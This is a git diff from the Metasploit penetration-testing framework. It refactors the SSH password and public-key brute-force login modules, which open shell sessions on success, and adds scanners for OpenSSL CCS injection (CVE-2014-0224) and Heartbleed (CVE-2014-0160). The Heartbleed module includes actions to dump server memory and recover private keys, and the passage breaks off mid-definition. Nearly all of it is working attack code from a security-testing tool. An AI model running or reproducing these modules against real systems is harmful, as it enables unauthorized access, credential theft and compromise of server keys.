datastore['SSH_TIMEOUT'], + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + session_setup(result, scanner.ssh_socket) :next_user - when :connection_error - print_brute :level => :verror, :ip => ip, :msg => "Could not connect" + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect: #{result.proof}" + end + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + invalidate_login(credential_data) :abort - when :connection_disconnect - print_brute :level => :verror, :ip => ip, :msg => "Connection timed out" - :abort - when :fail - print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{user}':'#{pass}'" + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + else + invalidate_login(credential_data) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? end end end diff --git a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb index ea3e0fd261..9a4d75ae19 100644 --- a/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb +++ b/modules/auxiliary/scanner/ssh/ssh_login_pubkey.rb @@ -1,19 +1,22 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' +require 'metasploit/framework/login_scanner/ssh' +require 'metasploit/framework/credential_collection' class Metasploit3 < Msf::Auxiliary - include Msf::Auxiliary::Scanner include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Report include Msf::Auxiliary::CommandShell - attr_accessor :ssh_socket, :good_credentials, :good_key, :good_key_data + include Msf::Auxiliary::Scanner + + attr_accessor :ssh_socket, :good_key def initialize super( @@ -40,22 +43,21 @@ class Metasploit3 < Msf::Auxiliary register_options( [ Opt::RPORT(22), - OptPath.new('KEY_FILE', [false, 'Filename of one or several cleartext private keys.']) + OptPath.new('KEY_PATH', [true, 'Filename or directory of cleartext private keys. Filenames beginning with a dot, or ending in ".pub" will be skipped.']), ], self.class ) register_advanced_options( [ + Opt::Proxies, OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptString.new('SSH_KEYFILE_B64', [false, 'Raw data of an unencrypted SSH public key. This should be used by programmatic interfaces to this module only.', '']), - OptPath.new('KEY_DIR', [false, 'Directory of several cleartext private keys. Filenames must not begin with a dot, or end in ".pub" in order to be read.']), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) - deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS') + deregister_options('RHOST','PASSWORD','PASS_FILE','BLANK_PASSWORDS','USER_AS_PASS','USERPASS_FILE') - @good_credentials = {} @good_key = '' @strip_passwords = true @@ -138,213 +140,186 @@ class Metasploit3 < Msf::Auxiliary return cleartext_keys end - def do_login(ip,user,port) - if datastore['KEY_FILE'] and File.readable?(datastore['KEY_FILE']) - keys = read_keyfile(datastore['KEY_FILE']) - cleartext_keys = pull_cleartext_keys(keys) - msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." - elsif datastore['SSH_KEYFILE_B64'] && !datastore['SSH_KEYFILE_B64'].empty? - keys = read_keyfile(:keyfile_b64) - cleartext_keys = pull_cleartext_keys(keys) - msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user (read from datastore)." - elsif datastore['KEY_DIR'] - return :missing_keyfile unless(File.directory?(key_dir) && File.readable?(key_dir)) - unless @key_files - @key_files = Dir.entries(key_dir).reject {|f| f =~ /^\x2e/ || f =~ /\x2epub$/} - end - these_keys = @key_files.map {|f| File.join(key_dir,f)} - keys = read_keyfile(these_keys) - cleartext_keys = pull_cleartext_keys(keys) - msg = "#{ip}:#{rport} SSH - Trying #{cleartext_keys.size} cleartext key#{(cleartext_keys.size > 1) ? "s" : ""} per user." - else - return :missing_keyfile - end - unless @alerted_with_msg - print_status msg - @alerted_with_msg = true - end - cleartext_keys.each_with_index do |key_data,key_idx| - opt_hash = { - :auth_methods => ['publickey'], - :msframework => framework, - :msfmodule => self, - :port => port, - :key_data => key_data, - :disable_agent => true, - :config => false, - :record_auth_info => true, - :proxies => datastore['Proxies'] - } - opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG'] - begin - ::Timeout.timeout(datastore['SSH_TIMEOUT']) do - self.ssh_socket = Net::SSH.start( - ip, - user, - opt_hash - ) - end - rescue Rex::ConnectionError, Rex::AddressInUse - return :connection_error - rescue Net::SSH::Disconnect, ::EOFError - return :connection_disconnect - rescue ::Timeout::Error - return :connection_disconnect - rescue Net::SSH::AuthenticationFailed - # Try, try, again - if @key_files - vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{@key_files[key_idx+1]}" - else - vprint_error "#{ip}:#{rport} SSH - Failed authentication, trying key #{key_idx+1}" - end - next - rescue Net::SSH::Exception => e - return [:fail,nil] # For whatever reason. - end - break - end + def session_setup(result, ssh_socket) + return unless ssh_socket - if self.ssh_socket - self.good_key = self.ssh_socket.auth_info[:pubkey_id] - self.good_key_data = self.ssh_socket.options[:key_data] - proof = '' - begin - Timeout.timeout(5) do - proof = self.ssh_socket.exec!("id\n").to_s - if(proof =~ /id=/) - proof << self.ssh_socket.exec!("uname -a\n").to_s - else - # Cisco IOS - if proof =~ /Unknown command or computer name/ - proof = self.ssh_socket.exec!("ver\n").to_s - else - proof << self.ssh_socket.exec!("help\n?\n\n\n").to_s - end - end - end - rescue ::Exception - end + # Create a new session from the socket + conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/sh', true) - # Create a new session from the socket, then dump it. - conn = Net::SSH::CommandStream.new(self.ssh_socket, '/bin/sh', true) - self.ssh_socket = nil - - # Clean up the stored data - need to stash the keyfile into - # a datastore for later reuse. - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => user - } - if datastore['KEY_FILE'] and !datastore['KEY_FILE'].empty? - keyfile = File.open(datastore['KEY_FILE'], "rb") {|f| f.read(f.stat.size)} - merge_me.merge!( - 'SSH_KEYFILE_B64' => [keyfile].pack("m*").gsub("\n",""), - 'KEY_FILE' => nil - ) - end - - s = start_session(self, "SSH #{user}:#{self.good_key} (#{ip}:#{port})", merge_me, false, conn.lsock) - - # Set the session platform - case proof - when /Linux/ - s.platform = "linux" - when /Darwin/ - s.platform = "osx" - when /SunOS/ - s.platform = "solaris" - when /BSD/ - s.platform = "bsd" - when /HP-UX/ - s.platform = "hpux" - when /AIX/ - s.platform = "aix" - when /Win32|Windows/ - s.platform = "windows" - when /Unknown command or computer name/ - s.platform = "cisco-ios" - end - - return [:success, proof] - else - return [:fail, nil] - end - end - - def do_report(ip, port, user, proof) - return unless framework.db.active - keyfile_path = store_keyfile(ip,user,self.good_key,self.good_key_data) - cred_hash = { - :host => ip, - :port => datastore['RPORT'], - :sname => 'ssh', - :user => user, - :pass => keyfile_path, - :type => "ssh_key", - :proof => "KEY=#{self.good_key}, PROOF=#{proof}", - :duplicate_ok => true, - :active => true + # Clean up the stored data - need to stash the keyfile into + # a datastore for later reuse. + merge_me = { + 'USERPASS_FILE' => nil, + 'USER_FILE' => nil, + 'PASS_FILE' => nil, + 'USERNAME' => result.credential.public, + 'SSH_KEYFILE_B64' => [result.credential.private].pack("m*").gsub("\n",""), + 'KEY_PATH' => nil } - this_cred = report_auth_info(cred_hash) - end - def existing_loot(ltype, key_id) - framework.db.loots(myworkspace).find_all_by_ltype(ltype).select {|l| l.info == key_id}.first - end + info = "SSH #{result.credential.public}:#{ssh_socket.auth_info[:pubkey_id]} (#{ip}:#{rport})" + s = start_session(self, info, merge_me, false, conn.lsock) - def store_keyfile(ip,user,key_id,key_data) - safe_username = user.gsub(/[^A-Za-z0-9]/,"_") - case key_data - when /BEGIN RSA PRIVATE/m - ktype = "rsa" - when /BEGIN DSA PRIVATE/m - ktype = "dsa" - else - ktype = nil + # Set the session platform + case result.proof + when /Linux/ + s.platform = "linux" + when /Darwin/ + s.platform = "osx" + when /SunOS/ + s.platform = "solaris" + when /BSD/ + s.platform = "bsd" + when /HP-UX/ + s.platform = "hpux" + when /AIX/ + s.platform = "aix" + when /Win32|Windows/ + s.platform = "windows" + when /Unknown command or computer name/ + s.platform = "cisco-ios" end - return unless ktype - ltype = "host.unix.ssh.#{user}_#{ktype}_private" - keyfile = existing_loot(ltype, key_id) - return keyfile.path if keyfile - keyfile_path = store_loot( - ltype, - "application/octet-stream", # Text, but always want to mime-type attach it - ip, - (key_data + "\n"), - "#{safe_username}_#{ktype}.key", - key_id - ) - return keyfile_path + + s end def run_host(ip) print_status("#{ip}:#{rport} SSH - Testing Cleartext Keys") - # Since SSH collects keys and tries them all on one authentication session, it doesn't - # make sense to iteratively go through all the keys individually. So, ignore the pass variable, - # and try all available keys for all users. - each_user_pass do |user,pass| - ret,proof = do_login(ip,user,rport) - case ret - when :success - print_brute :level => :good, :msg => "Success: '#{user}':'#{self.good_key}' '#{proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" - do_report(ip, rport, user, proof) - :next_user - when :connection_error - vprint_error "#{ip}:#{rport} SSH - Could not connect" - :abort - when :connection_disconnect - vprint_error "#{ip}:#{rport} SSH - Connection timed out" - :abort - when :fail - vprint_error "#{ip}:#{rport} SSH - Failed: '#{user}'" - when :missing_keyfile - vprint_error "#{ip}:#{rport} SSH - Cannot read keyfile." - when :no_valid_keys - vprint_error "#{ip}:#{rport} SSH - No cleartext keys in keyfile." + + if datastore["USER_FILE"].blank? && datastore["USERNAME"].blank? + # Ghetto abuse of the way OptionValidateError expects an array of + # option names instead of a string message like every sane + # subclass of Exception. + raise OptionValidateError, ["At least one of USER_FILE or USERNAME must be given"] + end + + keys = KeyCollection.new( + key_path: datastore['KEY_PATH'], + user_file: datastore['USER_FILE'], + username: datastore['USERNAME'], + ) + + keys = prepend_db_keys(keys) + + print_brute :level => :vstatus, :ip => ip, :msg => "Testing #{keys.key_data.count} keys from #{datastore['KEY_PATH']}" + scanner = Metasploit::Framework::LoginScanner::SSH.new( + host: ip, + port: rport, + cred_details: keys, + stop_on_success: datastore['STOP_ON_SUCCESS'], + bruteforce_speed: datastore['BRUTEFORCE_SPEED'], + proxies: datastore['Proxies'], + connection_timeout: datastore['SSH_TIMEOUT'], + framework: framework, + framework_module: self, + ) + + scanner.scan! do |result| + credential_data = result.to_h + credential_data.merge!( + module_fullname: self.fullname, + workspace_id: myworkspace_id + ) + case result.status + when Metasploit::Model::Login::Status::SUCCESSFUL + print_brute :level => :good, :ip => ip, :msg => "Success: '#{result.credential}' '#{result.proof.to_s.gsub(/[\r\n\e\b\a]/, ' ')}'" + credential_core = create_credential(credential_data) + credential_data[:core] = credential_core + create_credential_login(credential_data) + session_setup(result, scanner.ssh_socket) + :next_user + when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Could not connect: #{result.proof}" + end + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + invalidate_login(credential_data) + :abort + when Metasploit::Model::Login::Status::INCORRECT + if datastore['VERBOSE'] + print_brute :level => :verror, :ip => ip, :msg => "Failed: '#{result.credential}'" + end + invalidate_login(credential_data) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? + else + invalidate_login(credential_data) + scanner.ssh_socket.close if scanner.ssh_socket && !scanner.ssh_socket.closed? end end + end + class KeyCollection < Metasploit::Framework::CredentialCollection + attr_accessor :key_data + attr_accessor :key_path + + def initialize(opts={}) + super + valid! + end + + def realm + nil + end + + def valid! + @key_data = Set.new + if File.directory?(@key_path) + @key_files ||= Dir.entries(@key_path).reject { |f| f =~ /^\x2e|\x2epub$/ } + @key_files.each do |f| + data = read_key(File.join(@key_path, f)) + @key_data << data if valid_key?(data) + end + elsif File.file?(@key_path) + data = read_key(@key_path) + @key_data << data if valid_key?(data) + else + raise RuntimeError, "No key path" + end + end + + def valid_key?(key_data) + !!(key_data.match(/BEGIN [RD]SA PRIVATE KEY/) && !key_data.match(/Proc-Type:.*ENCRYPTED/)) + end + + def each + prepended_creds.each { |c| yield c } + + if @user_file.present? + File.open(@user_file, 'rb') do |user_fd| + user_fd.each_line do |user_from_file| + user_from_file.chomp! + each_key do |key_data| + yield Metasploit::Framework::Credential.new(public: user_from_file, private: key_data, realm: realm, private_type: :ssh_key) + end + end + end + end + + if @username.present? + each_key do |key_data| + yield Metasploit::Framework::Credential.new(public: @username, private: key_data, realm: realm, private_type: :ssh_key) + end + end + end + + def each_key + @key_data.each do |data| + yield data + end + end + + def read_key(filename) + @cache ||= {} + unless @cache[filename] + data = File.open(filename, 'rb') { |fd| fd.read(fd.stat.size) } + #if data.match + + @cache[filename] = data + end + + @cache[filename] + end + + end end diff --git a/modules/auxiliary/scanner/ssh/ssh_version.rb b/modules/auxiliary/scanner/ssh/ssh_version.rb index b3bbc3ec3c..3a0f37834e 100644 --- a/modules/auxiliary/scanner/ssh/ssh_version.rb +++ b/modules/auxiliary/scanner/ssh/ssh_version.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/auxiliary/scanner/ssl/openssl_ccs.rb b/modules/auxiliary/scanner/ssl/openssl_ccs.rb new file mode 100644 index 0000000000..0bd2aa57fb --- /dev/null +++ b/modules/auxiliary/scanner/ssl/openssl_ccs.rb @@ -0,0 +1,207 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + CIPHER_SUITES = [ + 0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA + 0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA + 0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA + 0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA + 0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA + 0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA + 0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA + 0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA + 0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA + 0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA + 0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA + 0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA + 0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA + 0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA + 0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA + 0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA + 0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA + 0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA + 0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA + 0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA + 0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA + 0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA + 0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA + 0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA + 0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA + 0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA + 0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA + 0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA + 0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA + 0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA + 0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA + 0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA + 0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA + 0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA + 0x0096, # TLS_RSA_WITH_SEED_CBC_SHA + 0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA + 0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA + 0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA + 0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA + 0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA + 0x0005, # TLS_RSA_WITH_RC4_128_SHA + 0x0004, # TLS_RSA_WITH_RC4_128_MD5 + 0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA + 0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA + 0x0009, # TLS_RSA_WITH_DES_CBC_SHA + 0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA + 0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA + 0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA + 0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 + 0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5 + 0x00ff # Unknown + ] + + HANDSHAKE_RECORD_TYPE = 0x16 + CCS_RECORD_TYPE = 0x14 + ALERT_RECORD_TYPE = 0x15 + TLS_VERSION = { + 'SSLv3' => 0x0300, + '1.0' => 0x0301, + '1.1' => 0x0302, + '1.2' => 0x0303 + } + + def initialize + super( + 'Name' => 'OpenSSL Server-Side ChangeCipherSpec Injection Scanner', + 'Description' => %q{ + This module checks for the OpenSSL ChangeCipherSpec (CCS) + Injection vulnerability. The problem exists in the handling of early + CCS messages during session negotiation. Vulnerable installations of OpenSSL accepts + them, while later implementations do not. If successful, an attacker can leverage this + vulnerability to perform a man-in-the-middle (MITM) attack by downgrading the cipher spec + between a client and server. This issue was first reported in early June, 2014. + }, + 'Author' => [ + 'Masashi Kikuchi', # Vulnerability discovery + 'Craig Young ', # Original Scanner. This module is based on it. + 'juan vazquez' # Msf module + ], + 'References' => + [ + ['CVE', '2014-0224'], + ['URL', 'http://ccsinjection.lepidum.co.jp/'], + ['URL', 'http://ccsinjection.lepidum.co.jp/blog/2014-06-05/CCS-Injection-en/index.html'], + ['URL', 'http://www.tripwire.com/state-of-security/incident-detection/detection-script-for-cve-2014-0224-openssl-cipher-change-spec-injection/'], + ['URL', 'https://www.imperialviolet.org/2014/06/05/earlyccs.html'] + ], + 'DisclosureDate' => 'Jun 5 2014', + 'License' => MSF_LICENSE + ) + + register_options( + [ + Opt::RPORT(443), + OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]), + OptInt.new('RESPONSE_TIMEOUT', [true, 'Number of seconds to wait for a server response', 10]) + ], self.class) + end + + def peer + "#{rhost}:#{rport}" + end + + def response_timeout + datastore['RESPONSE_TIMEOUT'] + end + + def run_host(ip) + ccs_injection + end + + def ccs_injection + connect_result = establish_connect + return if connect_result.nil? + + vprint_status("#{peer} - Sending CCS...") + sock.put(ccs) + alert = sock.get_once(-1, response_timeout) + if alert.blank? + print_good("#{peer} - No alert after invalid CCS message, probably vulnerable") + report + elsif alert.unpack("C").first == ALERT_RECORD_TYPE + vprint_error("#{peer} - Alert record as response to the invalid CCS Message, probably not vulnerable") + elsif alert + vprint_warning("#{peer} - Unexpected response.") + end + end + + def report + report_vuln({ + :host => rhost, + :port => rport, + :name => self.name, + :refs => self.references, + :info => "Module #{self.fullname} successfully detected CCS injection" + }) + end + + def ccs + payload = "\x01" # Change Cipher Spec Message + + ssl_record(CCS_RECORD_TYPE, payload) + end + + def client_hello + # Use current day for TLS time + time_temp = Time.now + time_epoch = Time.mktime(time_temp.year, time_temp.month, time_temp.day, 0, 0).to_i + + hello_data = [TLS_VERSION[datastore['TLS_VERSION']]].pack("n") # Version TLS + hello_data << [time_epoch].pack("N") # Time in epoch format + hello_data << Rex::Text.rand_text(28) # Random + hello_data << "\x00" # Session ID length + hello_data << [CIPHER_SUITES.length * 2].pack("n") # Cipher Suites length (102) + hello_data << CIPHER_SUITES.pack("n*") # Cipher Suites + hello_data << "\x01" # Compression methods length (1) + hello_data << "\x00" # Compression methods: null + + data = "\x01\x00" # Handshake Type: Client Hello (1) + data << [hello_data.length].pack("n") # Length + data << hello_data + + ssl_record(HANDSHAKE_RECORD_TYPE, data) + end + + def ssl_record(type, data) + record = [type, TLS_VERSION[datastore['TLS_VERSION']], data.length].pack('Cnn') + record << data + end + + def establish_connect + connect + + vprint_status("#{peer} - Sending Client Hello...") + sock.put(client_hello) + server_hello = sock.get_once(-1, response_timeout) + + unless server_hello + vprint_error("#{peer} - No Server Hello after #{response_timeout} seconds...") + disconnect + return nil + end + + unless server_hello.unpack("C").first == HANDSHAKE_RECORD_TYPE + vprint_error("#{peer} - Server Hello Not Found") + return nil + end + + true + end + +end + diff --git a/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb new file mode 100644 index 0000000000..8b3f4e51fa --- /dev/null +++ b/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb @@ -0,0 +1,811 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +# TODO: Connection reuse: Only connect once and send subsequent heartbleed requests. +# We tried it once in https://github.com/rapid7/metasploit-framework/pull/3300 +# but there were too many errors +# TODO: Parse the rest of the server responses and return a hash with the data +# TODO: Extract the relevant functions and include them in the framework + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + CIPHER_SUITES = [ + 0xc014, # TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA + 0xc00a, # TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA + 0xc022, # TLS_SRP_SHA_DSS_WITH_AES_256_CBC_SHA + 0xc021, # TLS_SRP_SHA_RSA_WITH_AES_256_CBC_SHA + 0x0039, # TLS_DHE_RSA_WITH_AES_256_CBC_SHA + 0x0038, # TLS_DHE_DSS_WITH_AES_256_CBC_SHA + 0x0088, # TLS_DHE_RSA_WITH_CAMELLIA_256_CBC_SHA + 0x0087, # TLS_DHE_DSS_WITH_CAMELLIA_256_CBC_SHA + 0x0087, # TLS_ECDH_RSA_WITH_AES_256_CBC_SHA + 0xc00f, # TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA + 0x0035, # TLS_RSA_WITH_AES_256_CBC_SHA + 0x0084, # TLS_RSA_WITH_CAMELLIA_256_CBC_SHA + 0xc012, # TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA + 0xc008, # TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA + 0xc01c, # TLS_SRP_SHA_DSS_WITH_3DES_EDE_CBC_SHA + 0xc01b, # TLS_SRP_SHA_RSA_WITH_3DES_EDE_CBC_SHA + 0x0016, # TLS_DHE_RSA_WITH_3DES_EDE_CBC_SHA + 0x0013, # TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA + 0xc00d, # TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA + 0xc003, # TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA + 0x000a, # TLS_RSA_WITH_3DES_EDE_CBC_SHA + 0xc013, # TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA + 0xc009, # TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA + 0xc01f, # TLS_SRP_SHA_DSS_WITH_AES_128_CBC_SHA + 0xc01e, # TLS_SRP_SHA_RSA_WITH_AES_128_CBC_SHA + 0x0033, # TLS_DHE_RSA_WITH_AES_128_CBC_SHA + 0x0032, # TLS_DHE_DSS_WITH_AES_128_CBC_SHA + 0x009a, # TLS_DHE_RSA_WITH_SEED_CBC_SHA + 0x0099, # TLS_DHE_DSS_WITH_SEED_CBC_SHA + 0x0045, # TLS_DHE_RSA_WITH_CAMELLIA_128_CBC_SHA + 0x0044, # TLS_DHE_DSS_WITH_CAMELLIA_128_CBC_SHA + 0xc00e, # TLS_ECDH_RSA_WITH_AES_128_CBC_SHA + 0xc004, # TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA + 0x002f, # TLS_RSA_WITH_AES_128_CBC_SHA + 0x0096, # TLS_RSA_WITH_SEED_CBC_SHA + 0x0041, # TLS_RSA_WITH_CAMELLIA_128_CBC_SHA + 0xc011, # TLS_ECDHE_RSA_WITH_RC4_128_SHA + 0xc007, # TLS_ECDHE_ECDSA_WITH_RC4_128_SHA + 0xc00c, # TLS_ECDH_RSA_WITH_RC4_128_SHA + 0xc002, # TLS_ECDH_ECDSA_WITH_RC4_128_SHA + 0x0005, # TLS_RSA_WITH_RC4_128_SHA + 0x0004, # TLS_RSA_WITH_RC4_128_MD5 + 0x0015, # TLS_DHE_RSA_WITH_DES_CBC_SHA + 0x0012, # TLS_DHE_DSS_WITH_DES_CBC_SHA + 0x0009, # TLS_RSA_WITH_DES_CBC_SHA + 0x0014, # TLS_DHE_RSA_EXPORT_WITH_DES40_CBC_SHA + 0x0011, # TLS_DHE_DSS_EXPORT_WITH_DES40_CBC_SHA + 0x0008, # TLS_RSA_EXPORT_WITH_DES40_CBC_SHA + 0x0006, # TLS_RSA_EXPORT_WITH_RC2_CBC_40_MD5 + 0x0003, # TLS_RSA_EXPORT_WITH_RC4_40_MD5 + 0x00ff # Unknown + ] + + HANDSHAKE_RECORD_TYPE = 0x16 + HEARTBEAT_RECORD_TYPE = 0x18 + ALERT_RECORD_TYPE = 0x15 + HANDSHAKE_SERVER_HELLO_TYPE = 0x02 + HANDSHAKE_CERTIFICATE_TYPE = 0x0b + HANDSHAKE_KEY_EXCHANGE_TYPE = 0x0c + HANDSHAKE_SERVER_HELLO_DONE_TYPE = 0x0e + + + TLS_VERSION = { + 'SSLv3' => 0x0300, + '1.0' => 0x0301, + '1.1' => 0x0302, + '1.2' => 0x0303 + } + + TLS_CALLBACKS = { + 'SMTP' => :tls_smtp, + 'IMAP' => :tls_imap, + 'JABBER' => :tls_jabber, + 'POP3' => :tls_pop3, + 'FTP' => :tls_ftp, + 'POSTGRES' => :tls_postgres + } + + # See the discussion at https://github.com/rapid7/metasploit-framework/pull/3252 + SAFE_CHECK_MAX_RECORD_LENGTH = (1 << 14) + + def initialize + super( + 'Name' => 'OpenSSL Heartbeat (Heartbleed) Information Leak', + 'Description' => %q{ + This module implements the OpenSSL Heartbleed attack. The problem + exists in the handling of heartbeat requests, where a fake length can + be used to leak memory data in the response. Services that support + STARTTLS may also be vulnerable. + + The module supports several actions, allowing for scanning, dumping of + memory contents, and private key recovery. + }, + 'Author' => [ + 'Neel Mehta', # Vulnerability discovery + 'Riku', # Vulnerability discovery + 'Antti', # Vulnerability discovery + 'Matti', # Vulnerability discovery + 'Jared Stafford ', # Original Proof of Concept. This module is based on it. + 'FiloSottile', # PoC site and tool + 'Christian Mehlmauer', # Msf module + 'wvu', # Msf module + 'juan vazquez', # Msf module + 'Sebastiano Di Paola', # Msf module + 'Tom Sellers', # Msf module + 'jjarmoc', #Msf module; keydump, refactoring.. + 'Ben Buchanan', #Msf module + 'herself' #Msf module + ], + 'References' => + [ + ['CVE', '2014-0160'], + ['US-CERT-VU', '720951'], + ['URL', 'https://www.us-cert.gov/ncas/alerts/TA14-098A'], + ['URL', 'http://heartbleed.com/'], + ['URL', 'https://github.com/FiloSottile/Heartbleed'], + ['URL', 'https://gist.github.com/takeshixx/10107280'], + ['URL', 'http://filippo.io/Heartbleed/'] + ], + 'DisclosureDate' => 'Apr 7 2014', + 'License' => MSF_LICENSE, + 'Actions' => + [ + ['SCAN', {'Description' => 'Check hosts for vulnerability'}], + ['DUMP', {'Description' => 'Dump memory contents'}], + ['KEYS', {'Description' => 'Recover private keys from memory'}] + ], + 'DefaultAction' => 'SCAN' + ) + + register_options( + [ + Opt::RPORT(443), + OptEnum.new('TLS_CALLBACK', [true, 'Protocol to use, "None" to use raw TLS sockets', 'None', [ 'None', 'SMTP', 'IMAP', 'JABBER', 'POP3', 'FTP', 'POSTGRES' ]]), + OptEnum.new('TLS_VERSION', [true, 'TLS/SSL version to use', '1.0', ['SSLv3','1.0', '1.1', '1.2']]), + OptInt.new('MAX_KEYTRIES', [true, 'Max tries to dump key', 50]), + OptInt.new('STATUS_EVERY', [true, 'How many retries until status', 5]), + OptRegexp.new('DUMPFILTER', 